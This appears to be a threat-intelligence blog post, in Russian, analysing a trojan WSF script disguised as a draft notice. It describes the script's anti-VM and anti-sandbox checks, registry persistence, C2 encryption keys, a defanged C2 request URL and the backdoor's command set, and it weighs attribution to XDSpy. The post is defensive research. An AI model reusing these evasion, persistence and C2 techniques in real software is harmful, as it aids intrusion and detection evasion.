Изучаем троянскую повестку с мимикрией под XDSpy
В ходе постоянного отслеживания угроз ИБ утром 3 октября в одном из Telegram-чатов мы заметили промелькнувший файл со злободневным названием Povestka_26–09–2022.wsf. Беглый осмотр содержимого привлек наше внимание, и мы решили разобрать его подробней. И, как оказалось, не зря.
Разбор вредоносного скрипта
Исходный файл представляет собой обфусцированный JavaScript WSF файл, задачей которого является выполнение нескольких anti-vm/anti-sandbox и запуск основной полезной нагрузки.
Все строки в скрипте зашифрованы простым XOR и представлены в виде шестнадцатеричных последовательностей. Функция расшифрования строк представлена на рис. 1.
Рисунок 1. Алгоритм расшифровки строк в скрипте
При запуске скрипт сначала пытается открыть Internet Explorer для отвлечения внимания пользователя (рис. 2).
Рисунок 2. Открытие Internet Explorer
После чего сравнивает текущее имя пользователя с захардкоженным списком (рис. 3). Если эта или одна из последующих проверок будет провалена, выставится специальный флаг, предотвращающий дальнейшее выполнение скрипта.
Рисунок 3. Проверка имени текущего пользователя
Затем исследуемый скрипт проверяет установленные на системе AV. Осуществляется это через перечисление всех присутствующих папок в Program Files и Program Files (x86), конкатенацию всех имен файлов в одну строку и поиск подстрок mante (Symantec) orton se (Norton Security) itdefender (Bitdefender) в ней (рис. 4).
Рисунок 4. Проверка установленных AV
Последними проверками являются проверка наличия директорий, специфичных для виртуальных сред, а также проверка имени хоста (рис. 5). Стоит отметить, что в случае VMware проверка является слишком общей и не будет пройдена, если на машине установлены какие-либо продукты компании.
Рисунок 5. Проверка имени хоста и директорий
Если все проверки были успешно пройдены, то скрипт переходит к восстановлению полезной нагрузки. Алгоритм представлен на рис. 6.
Рисунок 6. Расшифрование нагрузки
Восстановленный файл записывается в %APPDATA%\Local\AnalysisManager.bin и затем переименовывается в AnalysisManager.exe. После чего запускается через объект ShellWindows (CLSID: 9BA05972-F6A8–11CF-A442–00A0C90A8F39) (рис. 7).
Рисунок 7. Запуск нагрузки
Анализ ВПО
Все строки и почти все API-вызовы в исследуемом образце обфусцированы. Каждая строка собирается в отдельной функции, после чего она передается в обработчик, ее расшифровывающий. На каждую длину строки может быть один или несколько обработчиков. Пример приведен на рис. 8.
Рисунок 8. Запуск нагрузки
При запуске сэмпл ищет в памяти адрес kernel32.dll по crc32 хэшу (0×6A4ABC5B) и далее, с помощью кастомной реализации GetProcAddress, получает адрес функции LoadLibrary (рис. 9). После чего подгружает прочие требуемые для работы библиотеки.
Рисунок 9. Поиск адреса kernel32 и адреса LoadLibrary
Реализация GetProcAddress изображена на рис. 10.
Рисунок 10. Реализация GetProcAddress
Затем сэмпл действует аналогично скрипту, собирая информацию о содержимом Program Files и Program Files (x86). Далее идет получение текущего пути запуска через вызов GetModuleFileName (0) и проверяется наличие подстроки ata\Loc в нем (с учетом регистра). Если проверка пройдена, запускается новый поток со следующим этапом anti-vm проверок.
Проверяется наличие директории C:\\Windows\\DataManagerVbox и наличие файлов и pipe, связанных с VirtualBox и VMware. Помимо этого, также проверяется имя хоста на соответствие SSADFU и значение HKLM\HARDWARE\DESCRIPTION\System\BIOS\BiosVendor на наличие подстрок SeaBIOS, VMWare, VirtualBox. Проверки приведены на рис. 11.
Рисунок 11. Anti-vm проверки BiosVendor и файлов
Также проверяется наличие нескольких специфичных директорий (рис. 12) и текущее имя пользователя (список аналогичен тому, что использовался в скрипте). Дополнительно проверяется наличие подстроки vast (Avast) в ранее собранном списке содержимого Program Files и Program Files (x86).
Особый интерес представляет проверка директории C:\\guest — utils\\, поскольку она служит индикатором для обнаружения старых версий PT Sandbox.
Рисунок 12. Anti-sandbox проверки директорий
Если все проверки были успешно пройдены, то сэмпл закрепляется в HKCU\Environment\UserInitLogonScript (рис. 13).
Рисунок 13. Закрепление в реестре
После закрепления создается еще один поток, где идет сбор информации о хосте и начинается взаимодействие с С2.
В процессе образец получает версию ОС, номер билда и разрядность. А также проверяет наличие установленных AV Kasperky и ESET. Проверка приведена на рис. 14.
Рисунок 14. Получении информации об AV
Далее собранная информация конкатенируется в одну строку, в формате:
OS; Build; Arch; v25286; DesktopName; UserName;[K1|E1]
Где:
OS — версия ОС
Build — номер билда
Arch — архитектура ос (32/64)
v25286 — константная строка, вероятно версия ВПО.
DesktopName — имя хоста
UserName — имя текущего пользователя
K1|E1 — информация о найденном AV, если Kaspersky — K1, если ESET — E1. Иначе остается пустой.
Затем последняя побайтово XOR«ится с ключом nirgrun895tg9nsvjnwiv12309ASHDbibvenibowrvREXVYBUNIiugycm898y42irwubuv94nabdRDU, кодируется в base64 и преобразуется для HTTP-запроса заменой символов + / = на эквиваленты %2B, %2F, %3D.
Генерация ID агента:
Берется хэш (рис. 15) от строки имени хоста + значения реестра BIOSVendor + v25286;
Берется хэш от строки имени хоста + имя текущего пользователя + строки текущей временной зоны + v25286;
Оба хэша преобразуются в hex-строки по 8 байтов;
К первой строке добавляются первые 4 байта от второй.
Рисунок 15. Алгоритм, используемый при генерации ID агента
Перед обращением к серверу также идет проверка наличия файла конфига. Имя файла собирается из нескольких параметров и в несколько этапов:
Создается директория %APPDATA%\AppInfo\
Конкатенируются строки v25286 + id агента + hiuhgnywervg9837kjfbhnwuier
Результат хэшируется функцией на рис. 16, преобразуется в десятичный формат и затем в строку.
К полученной строке конкатенируется строка LKolkijhkUI и расширение .zxtu.
Рисунок 16. Алгоритм хэширования используемый при генерации пути конфига
Если файл конфигурации был найден, то далее он читается и расшифровывается RC4 с ключом OP789hqedoevrn68f34byicw@#njsunodejwdn023ejcwfedwf3t5hbcuibwegv. Из него сэмпл может получить информацию о новом С2 и используемом протоколе (http/https). Если файл не был найден, то будет использован захардкоженный адрес С2.
Затем ВПО переходит в цикл обращения к контрольному серверу. Между запросами идет случайная задержка (рис. 17).
Рисунок 17. Случайная задержка между обращениями к контрольному серверу
Для обращения к серверу ВПО собирает POST-запрос с тремя параметрами:
hr&u=3a7319bb710f — 12-байтный ID агента;
&sduyviop=5XpOmZ0bT43Q035YY — ID запроса, может иметь длину от 10 до 20 символов;
&sfin=X1lcV0lEVwgMA09RDVUFRF9cT19NdXdge20OA2UPKS43TyEjUhccEgBNGXQ%3 — собранная ранее информация о хосте.
Итоговый запрос может выглядеть так:
https[://]my1businessconnection[.]com/hr&u=3a7319bb710f&sduyviop=5XpOmZ0bT43Q035YY&sfin=X1lcV0lEVwgMA09RDVUFRF9cT19NdXdge20OA2UPKS43TyEjUhccEgBNGXQ%3
В ответ ВПО получает накрытый RC4 блок данных от сервера, который содержит в себе одну из девяти команд и дополнительные данные к ней (если требуются). Поддерживаются следующие команды:
watghber — сон 1500 мс через комбинацию вызовов CreateEventW + WaitForSingleObject;
r4g3rf — аналогично предыдущему, но через CreateSemaphoreW + WaitForSingleObject;
56uhj544getr — увеличить внутренний счетчик на 100 (его значение нигде не используется);
gfdfgdfgsfuilkyuj — сделать вызов GetUserNameW, результат также не используется;
ccsv — обновить информацию о С2 и используемом протоколе (http/https) и сохранить ее в файл (рис. 18);
Рисунок 18. Обновление конфигурации агента
plug — создает отдельный поток, где расшифровывает (RC4), размещает в памяти и вызывает полученную библиотеку. Название и функционал намекают, что команда отвечает за установку плагинов;
bwtp — похоже на plug, но в отличие от него не создает новый поток, а размещает в памяти и вызывает библиотеку в том же. Результат работы накрывается RC4 и отправляется на С2. После вызова библиотека выгружается из памяти. Пример вызова приведен на рис. 20;
Рисунок 19. Запуск полученной библиотеки
rstpg — проходит по адресам загруженных библиотек из команды plug и вызывает второй экспорт для каждой. Скорее всего, команда отвечает за выгрузку всех установленных плагинов (рис. 20);
Рисунок 20. Выгрузка всех плагинов
Помимо описанного ранее (за исключением информации об AV), сюда входит:
Итого: исследуемый образец представляет собой модульное ВПО, где основной функционал находится в получаемых от С2 модулях.
Атрибуция
Что говорит в пользу XDSpy:
В рамках проводимых вредоносных кампаний XDSpy всегда была ориентирована на рускоязычные страны. Фишинговые письма составлялись с учетом актуальных событий в России. В частности, вредоносные кампании, проводимые в 2020 г., были ориентированы на COVID-19, волнения в Республике Беларусь. Кроме того, тематика писем также была связана с работой отдельных государственных учреждений (рис. 21).
Рисунок 21. Пример фишингового письма вредоносных кампаний XDSpy за 2020 г.
В качестве вредоносного модуля на первом этапе заражения в данной кампании используется WSF-скрипт. Этот подход также использовался группировкой XDSpy в рамках вредоносных кампаний 2020 г.
При глубоком анализе образцов 2020 и 2022 гг. выявлены следующие схожие функции:
Рисунок 22. Обращение к ресурсу-приманке в образце 2020 г. (слева) и 2022 г. (справа)
формирование списка всех директорий, содержащихся в папках Program Files и Program Files (x86) одной строкой через разделитель (рис. 23);
Рисунок 23. Формирование списка директорий одной строкой в образце 2020 г. (слева) и 2022 г. (справа)
проверка перечня защитных решений, установленных на зараженном компьютере с использованием раннее сформированного перечня директорий (рис. 24);
Рисунок 24. Поиск защитных решений в образце 2020 г. (слева) и 2022 г. (справа)Рисунок 25. Проверка работы в виртуальной среде в образце 2020 г. (слева) и 2022 г. (справа)Рисунок 26. Запуск полезной нагрузки в образце 2020 г. (слева) и 2022 г. (справа)
Кроме того, в обоих образцах используется схожий алгоритм расшифрования полезной нагрузки и ее развертывания. Последовательность размещения функций в скриптах также практически идентична.
Однако стоит отметить сходство алгоритма хэширования, используемого для генерации ID агента с тем, что ранее использовался в Trickbot (рис. 27).
Рисунок 27. Алгоритм хэширования строк в Trickbot (слева) и исследуемом образце (справа)
Вывод
Первый этап заражения похож на ранее описанные подходы XDSpy, однако в основной нагрузке есть некоторые различия. Для закрепления на системе был выбран менее популярный ключ реестра, а также изменился метод шифрования коммуникации с С2. Также интересным моментом является использование одного из алгоритмов хэширования, аналогичному тому, что ранее был замечен в Trickbot. У нас нет достаточных фактов для атрибутирования атаки к активности XDSpy, а обнаруженный фрагмент кода из зловреда Trickbot, не связанного с XDSpy, дает основания полагать, что это может быть примером переиспользования тактик действия с мимикрией под группу, а не только заимствования фрагментов кода. Кроме того, отметим, это был первый известный нам случай попытки уклонения ВПО от обнаружения нашей песочницей.
Специалист отдела обнаружения вредоносного ПО экспертного центра безопасности Positive Technologies (PT Expert Security Center)